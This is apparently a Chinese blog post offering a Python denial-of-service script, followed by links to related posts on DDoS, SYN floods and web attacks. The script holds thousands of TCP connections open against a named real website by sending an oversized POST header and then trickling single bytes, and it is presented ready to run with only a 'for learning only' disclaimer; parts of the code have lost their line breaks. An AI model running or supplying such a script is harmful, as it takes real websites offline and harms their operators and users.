pythonDDOS攻击
构建多个socket链接后,每个socket对这个网站无限的发送信息,以起到占用他们网站资源链接的效果。
环境:
python3.7
代码:
import socket
import time
import threadingMAX_CONN = 200000 # 最大连接数
PORT = 80
HOST = "mooc.jikestar.com" # 目标IP或域名.
PAGE = "/#/classlist" # 目标页面buf = ("POST %s HTTP/1.1\r\n""Host: %s\r\n""Content-Length: 10000000\r\n" # 实体数据大小"Cookie: dklkt_dos_test\r\n""\r\n" % (PAGE, HOST))socks = []def conn_thread():global socksfor i in range(0, MAX_CONN): # MAX_CONN允许最大连接数# AF_INET 表示 IPv4 地址,创建 TCP套接字,必须使用 SOCK_STREAM 作为套接字类型s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:s.connect((HOST, PORT))s.send(buf.encode())print("[+] 成功发送buf!,conn=%d\n" % i)socks.append(s)except Exception as ex:print("[-] 无法连接服务器或发送错误:%s" % ex)# 暂停1秒def send_thread():global sockswhile True:for s in socks:try:s.send("f".encode())except Exception as ex:print("[-] 发送异常:%s\n" % ex)socks.remove(s)s.close()time.sleep(1)# 建立多线程
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
# 开启线程
conn_th.start()
send_th.start()conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()
文章仅供学习,攻击他人服务器出现的一切后果请自行负责。
pythonDDOS攻击相关推荐
- Python-DDoS攻击
背景: 网络传输层中,一般采用TCP协议,如果要建立连接,客户端会先发送syn包请求,服务器接收,接收后,再传递给客户端ack,syn包,这个时候,客户端再次回应,传回ack包.可是问题就出在,如果我 ...
- pythonddos攻击代码_【分享】Python简易DDos攻击器源码
[Python] 纯文本查看 复制代码import socket import time import threading #Pressure Test,ddos tool #------------ ...
- 导航狗IT周报-2018年05月18日
原文链接:https://www.daohanggou.cn/2018/05/18/it-weekly-8/ DDoS专题 最近Web安全里的一个热点就是包括阮一峰博客在内的多个教育类IT网站被DDo ...
- pythonddos防御_浅谈拒绝服务攻击的原理与防御(7):用Python和C实现syn flood攻击...
01 前言 以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功 ...
- 初窥CSRF攻击方式以及Flask-WTF
含义 CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF. ...
- 固件安全性—防止内存损坏和注入攻击
固件安全性-防止内存损坏和注入攻击 Firmware Security – Preventing memory corruption and injection attacks 构成物联网(IoT)主 ...
- 安全测试之xss攻击和mysql注入
xss概念: xss(Cross Site Script)跨站脚本攻击,为不和层叠样式表(css)混淆,写为xss 存在位置:web应用系统最常见软件安全漏洞 后果:代码植入到系统页面,篡改数据.盗取 ...
- linux syn 队列,linux 防御SYN攻击
一.默认syn配置 sysctl -a | grep _syn net.ipv4.tcp_max_syn_backlog = 1024 net.ipv4.tcp_syncookies = 1 net. ...
- OAuth 2.0攻击面与案例总结
本文整理了OAuth 2.0的攻击面+实际案例+辅助测试代码. OAuth流程 本文以两种广泛使用的方案为标准展开..如对流程不了解,请先移步学习: 理解OAuth 2.0 Authorization ...
最新文章
- priority_queue 结构体的优先级设置
- AI也能写高考作文?我们用清华刚刚开源的「九歌」试了试
- python哪个方向最缺人赚钱最多?如何在短时间内月入10000以上
- gridview排序加箭头(二)
- spring security4 问题
- 国开计算机专业英语章节测试答案,国开大201x理工英语1第七单元网上测试答案...
- [转载] python将int转为string_python – 在Pandas中将列名从int转换为string
- 2021-1-25计算机快速入门,简单掌握各种技巧
- hiveserver2启动后beeline无法连接:root is not allowed to impersonate hah
- 大型网站架设,LMP+Nginx负载均衡+Keepalived热备+Ceph存储集群架构+Web动静分离架构
- 盘点:上海十处最具情调的小资地!(组图)
- List 接口中扩充的 10 个方法详解
- 二维码制作软件----如何让二维码内容换行显示
- 如何开发一个酷炫的mdx
- CCF 201903-2 二十四点 用栈模拟简单计算器
- MySQL 中的 INSERT 是怎么加锁的?(荣耀典藏版)
- 前端性能优化 - chrome performance看浏览器渲染过程
- python3小项目——爬取招聘信息(智联招聘)
- NXP_RT1172 eFlexPWM 模块简介
- mac下导出chrome插件及安装